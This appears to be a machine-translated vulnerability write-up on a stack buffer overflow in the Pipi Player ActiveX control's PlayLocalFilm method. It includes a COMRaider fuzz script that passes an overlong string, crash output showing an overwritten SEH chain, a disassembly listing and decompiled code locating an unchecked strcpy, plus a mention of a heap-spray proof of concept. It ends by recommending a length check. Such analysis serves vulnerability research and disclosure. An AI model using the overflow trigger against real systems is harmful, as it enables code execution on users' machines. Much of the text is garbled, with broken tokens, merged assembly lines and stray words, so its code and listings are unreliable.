Pipi Player Activex Control BOF Vulnerability

General vulnerability: fuzzing... 1. download the latest Pipi player and use ComRaider to generate fuzz files

<? XML version = '1. 0' standalone = 'Yes'?> <Package> <job id = 'doneinvbs 'debug = 'false' error = 'true'> <object classid = 'clsid: a74BF134-5213-46B5-AF36-CE1888315DC7 'id = 'target'/> <script language = 'vbscript'> 'file Generated by COMRaider v0.0.134- http://labs.idefense.com 'Wscript. echo typename (target) 'for debugging/custom prologtargetFile = "C: \ pipi \ PIPIWebPlayer. ocx "prototype =" Sub PlayLocalFilm (ByVal lpFilmName As String) "memberName =" PlayLocalFilm "progid =" PIPIWebPlayerLib. PIPIWebPlayerCtrl "argCount = 1arg1 = String (6164," A ") target. playLocalFilm arg1 </script> </job> </package> the ComRaider list finds the exception information. The seh chain is overwritten with 41414141, a typical BOF. Exception Code: ACCESS_VIOLATIONDisasm: 15B7DDF mov eax, [EAX + 4] (PIPIWebPlayer. DLL) Seh Chain: california 1 41414141 Called From Returns To pipeline PIPIWebPlayer.15B7DDF PIPIWebPlayer.15B6FEF limit 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141

 

2. analyze the cause of Immunity Debugger and ida. The process is the same as in the previous article, which is omitted here. Vulnerability Assembly address here

01A91AF0   55               PUSH EBP01A91AF1   8BEC             MOV EBP,ESP01A91AF3   6A FF            PUSH -101A91AF5   68 48EAAD01      PUSH PIPIWebP.01ADEA4801A91AFA   64:A1 00000000   MOV EAX,DWORD PTR FS:[0]01A91B00   50               PUSH EAX01A91B01   64:8925 00000000 MOV DWORD PTR FS:[0],ESP01A91B08   81EC 68040000    SUB ESP,46801A91B0E   A1 0869AF01      MOV EAX,DWORD PTR DS:[1AF6908]01A91B13   33C5             XOR EAX,EBP01A91B15   8945 EC          MOV DWORD PTR SS:[EBP-14],EAX01A91B18   898D ACFBFFFF    MOV DWORD PTR SS:[EBP-454],ECX01A91B1E   C745 FC 01000000 MOV DWORD PTR SS:[EBP-4],101A91B25   6A 08            PUSH 801A91B27   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]01A91B2D   81C1 90000000    ADD ECX,9001A91B33   E8 6859FCFF      CALL PIPIWebP.01A574A001A91B38   8B85 ACFBFFFF    MOV EAX,DWORD PTR SS:[EBP-454]01A91B3E   83B8 80050000 00 CMP DWORD PTR DS:[EAX+580],001A91B45   74 2A            JE SHORT PIPIWebP.01A91B7101A91B47   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]01A91B4D   C781 84050000 00>MOV DWORD PTR DS:[ECX+584],001A91B57   6A 00            PUSH 001A91B59   68 60EA0000      PUSH 0EA6001A91B5E   6A 14            PUSH 1401A91B60   8B8D ACFBFFFF    MOV ECX,DWORD PTR SS:[EBP-454]01A91B66   81C1 90000000    ADD ECX,9001A91B6C   E8 FF58FCFF      CALL PIPIWebP.01A5747001A91B71   8B95 ACFBFFFF    MOV EDX,DWORD PTR SS:[EBP-454]01A91B77   C682 84040000 01 MOV BYTE PTR DS:[EDX+484],101A91B7E   8D4D 08          LEA ECX,DWORD PTR SS:[EBP+8]01A91B81   E8 AA29FEFF      CALL PIPIWebP.01A7453001A91B86   50               PUSH EAX01A91B87   8D85 E4FDFFFF    LEA EAX,DWORD PTR SS:[EBP-21C]01A91B8D   50               PUSH EAX01A91B8E   E8 F1A30400      CALL <JMP.&MSVCR71.strcpy>01A91B93   83C4 08          ADD ESP,801A91B96   8D4D 0C          LEA ECX,DWORD PTR SS:[EBP+C]01A91B99   E8 4254FCFF      CALL PIPIWebP.01A56FE001A91B9E   0FB6C8           MOVZX ECX,AL01A91BA1   85C9             TEST ECX,ECX01A91BA3   0F84 01010000    JE PIPIWebP.01A91CAA01A91BA9   8B95 ACFBFFFF    MOV EDX,DWORD PTR SS:[EBP-454]01A91BAF   83BA 3C020000 00 CMP DWORD PTR DS:[EDX+23C],001A91BB6   0F84 EC000000    JE PIPIWebP.01A91CA801A91BBC   8D85 E4FDFFFF    LEA EAX,DWORD PTR SS:[EBP-21C]01A91BC2   50               PUSH EAX.....

 

01A91B8E E8 F1A30400 CALL <JMP. & MSVCR71.strcpy> in this example, strcpy is called without the Data Detection BOF. IDA: Look at the code snippet that is compiled into c.

Int _ thiscall sub_67641AF0 (void * this, char a2, int a3, int a4) {const char * v4; // eax @ 3 unsigned _ int8 v5; // al @ 3 int v6; // ecx @ 3 const char * v8; // eax @ 17 int v9; // ecx @ 28 int v10; // ecx @ 30 char * v11; // [sp-14h] [bp-488h] @ 39 char * v12; // [sp-10h] [bp-484h] @ 39 int v13; // [sp-Ch] [bp-480h] @ 18 int v14; // [sp-8h] [bp-47Ch] @ 13 int v15; // [sp-4h] [bp-478h] @ 13 int v16; // [sp + 0 h] [bp-474h] @ 3 9 int v17; // [sp + 4 h] [bp-470h] @ 31 int v18; // [sp + 8 h] [bp-46Ch] @ 31 int v19; // [sp + Ch] [bp-468h] @ 28 int v20; // [sp + 10 h] [bp-464h] @ 28 int v21; // [sp + 14 h] [bp-460h] @ 26 int v22; // [sp + 18 h] [bp-45Ch] @ 13 int v23; // [sp + 1Ch] [bp-458h] @ 7 int v24; // [sp + 20 h] [bp-454h] @ 1 char ** v25; // [sp + 24 h] [bp-450h] @ 39 int * v26; // [sp + 28 h] [bp-44Ch] @ 31 int * v27; // [sp + 2Ch] [bp-448h] @ 28 void * v28; // [sp + 30 h] [Bp-444h] @ 25 int v29; // [sp + 34 h] [bp-440h] @ 28 int * v30; // [sp + 38 h] [bp-43Ch] @ 13 void * v31; // [sp + 3Ch] [bp-438h] @ 9 void * v32; // [sp + 40 h] [bp-434h] @ 6 int v33; // [sp + 44 h] [bp-430h] @ 9 int v34; // [sp + 48 h] [bp-42Ch] @ 31 int v35; // [sp + 4Ch] [bp-428h] @ 28 int v36; // [sp + 50 h] [bp-424h] @ 9 int v37; // [sp + 54 h] [bp-420h] @ 17 char Src; // [sp + 58 h] [bp-41Ch] @ 17 char Dir; // [sp + 158 h] [bp-31Ch] @ 17 char Sourc E; // [sp + 258 h] [bp-21Ch] @ 3 char Filename; // [sp + 360 h] [bp-114h] @ 17 char Drive; // [sp + 464 h] [bp-10h] @ 17 int v43; // [sp + 470 h] [bp-4h] @ 1 v24 = (int) this; v43 = 1; sub_676074A0 (8u); if (* (_ DWORD *) (v24 + 1408) {* (_ DWORD *) (v24 + 1412) = 0; sub_67607470 (0x14u, 0xEA60u, 0);} * (_ BYTE *) (v24 + 1156) = 1; v4 = (const char *) unknown_libname_80 (& a2); strcpy (& Source, v4 ); // Buffer Overflow v5 = sub_67606FE 0 (& a3); v6 = v5; if (v5) {if (* (_ DWORD *) (v24 + 572) & strcmp (const char *) (* (_ DWORD *) (v24 + 572) + 4), & Source) {v32 = operator new (0x620u); LOBYTE (v43) = 2; if (v32) v23 = sub_6764F860 (v32); else v23 = 0; v33 = v23; LOBYTE (v43) = 1; v36 = v23; strcpy (char *) (v23 + 4 ), & Source); * (_ DWORD *) (v23 + 1076) = 0; v31 = * (void **) (v24 + 572); operator delete (v31 ); * (_ DWORD *) (v24 + 572) = 0; V6 = v36; * (_ DWORD *) (v24 + 572) = v36 ;}} else {sub_67655450 (v24 + 488);} if (* (_ DWORD *) (v24 + 1384) {v15 = 0; v14 = v6; v30 = & v14; v22 = sub_6761D410 ("BUTTON_FILMPLAYON"); sub_6764DC80 (v14, v15 );} if (unsigned _ int8) sub_67606FE0 (& a2) & (unsigned _ int8) sub_67606FE0 (& a3) {LOBYTE (v43) = 0; unknown_libname_13 (& a2); v43 =-1; return unknown_libname_13 (& a3) ;} unknown_libname_12 (& 2); LOBYTE (v43) = 3; v15 = (int) & Src; v14 = (int) & Filename; v8 = (const char *) unknown_libname_80 (& v37 ); splitpath (v8, & Drive, & Dir, (char *) v14, (char *) v15); unknown_libname_14 (& Src); if (! (Unsigned _ int8) sub_67606FE0 (& a3) {v15 = (int) & Src; v14 = a3; v13 = (int) & Dir; sub_67621A80 (int) & v37, "% s. jfenc ", (unsigned int) & Drive);} if (* (_ DWORD *) (v24 + 572) {if (! (Unsigned _ int8) sub_67606FE0 (& a3) {if (unsigned _ int8) sub_67621AD0 (0) {v15 = * (_ DWORD *) (v24 + 572) + 1036; if (sub_67606F90 (unsigned _ int8 *) v15) sub_670000200 (v24) ;}} if (! * (_ DWORD *) (v24 + 572) {v28 = operator new (0x620u); LOBYTE (v43) = 4; if (v28) v21 = sub_6764F860 (v28 ); else v21 = 0; v29 = v21; LOBYTE (v43) = 3; * (_ DWORD *) (v24 + 572) = v21; v15 = unknown_libname_80 (& a2 ); v14 = * (_ DWORD *) (v24 + 572) + 4; strcpy (char *) v14, (const char *) v15); * (_ DWORD *) (* (_ DWORD *) (v24 + 572) + 1076) = a4; v15 = unknown_libname_80 (& a3); v14 = * (_ DWORD *) (v24 + 572) + 1036; Strcpy (char *) v14, (const char *) v15); v15 = v9; v27 = & v15; v20 = sub_6761D410 ("TRACKBAR_FILMCTRL "); v19 = sub_67620D80 (v15); v35 = v19; if (! V19) {LOBYTE (v43) = 1; unknown_libname_13 (& v37); LOBYTE (v43) = 0; unknown_libname_13 (& a2); v43 =-1; return unknown_libname_13 (& a3);} sub_6765E090 (0,-1); if (bytes) {v15 = v10; v26 = & v15; v18 = sub_6761D410 ("TRACKBAR_FILMCTRL "); v17 = sub_67620D80 (v15); v34 = v17; if (! V17) {LOBYTE (v43) = 1; unknown_libname_13 (& v37); LOBYTE (v43) = 0; unknown_libname_13 (& a2); v43 =-1; return unknown_libname_13 (& a3);} sub_6765E090 (0,-1) ;}} if (* (_ DWORD *) (v24 + 572) {memset (void *) (v24 + 1196), 0, 0x54u); v15 = * (_ DWORD *) (v24 + 572) + 1036; strcpy (char *) (v24 + 1196 ), (const char *) v15); * (_ DWORD *) (v24 + 1260) = * (_ DWORD *) (v24 + 572) + 1028); if (* (_ DWORD *) (v24 + 1192) {v15 =-1; v14 = * (_ DWORD *) (v24 + 1192 ); terminateThread (HANDLE) v14, 0 xFFFFFFFFu); * (_ DWORD *) (v24 + 1192) = 0;} * (_ DWORD *) (v24 + 1192) = beginthread (sub_6764C7D0, 0, v24); if (* (_ DWORD *) (v24 + 1192) =-1) * (_ DWORD *) (v24 + 1192) = 0;} v15 = (int) & Src; v14 = (int) & Filename; v13 = (int) & Dir; v12 = & Drive; v11 = & Drive; v25 = & v11; v16 = unknown_libname_12 (& v37); sub_67642170 (char) v11, (char) v12, v13, v14, (char *) v15); LOBYTE (v43) = 1; unknown_libname_13 (& v37); LOBYTE (v43) = 0; unknown_libname_13 (& a2); v43 =-1; return unknown_libname_13 (& a3 );} 3. The simplest way to overflow pocActiveX is Heap SprayPOC 
 
In Windows XP and ie7, calc.exe is a typical BOF, ALSR, and DEP. It can be written to POC, or wait for the next time. It's too lazy.
Solution:Strcpy needs to check the length.